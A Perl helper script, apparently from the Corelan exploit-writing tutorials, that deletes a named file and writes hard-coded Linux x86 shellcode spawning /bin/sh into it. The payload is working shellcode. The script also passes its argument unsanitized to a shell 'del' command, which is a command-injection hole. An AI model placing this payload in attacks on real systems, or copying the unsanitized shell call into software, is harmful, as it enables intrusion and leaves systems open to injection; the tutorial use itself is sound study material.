pveWritebin.pl

#!/usr/bin/perl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be
# This script takes a filename as argument
# will write bytes in \x format to the file
#
if ($#ARGV ne 0) {
print "  usage: $0 ".chr(34)."output filename".chr(34)."\n";
exit(0);
}
system("del $ARGV[0]");
my $shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#open file in binary mode
print "Writing to ".$ARGV[0]."\n";
open(FILE,">$ARGV[0]");
binmode FILE;
print FILE $shellcode;
close(FILE);

print "Wrote ".length($shellcode)." bytes to file\n";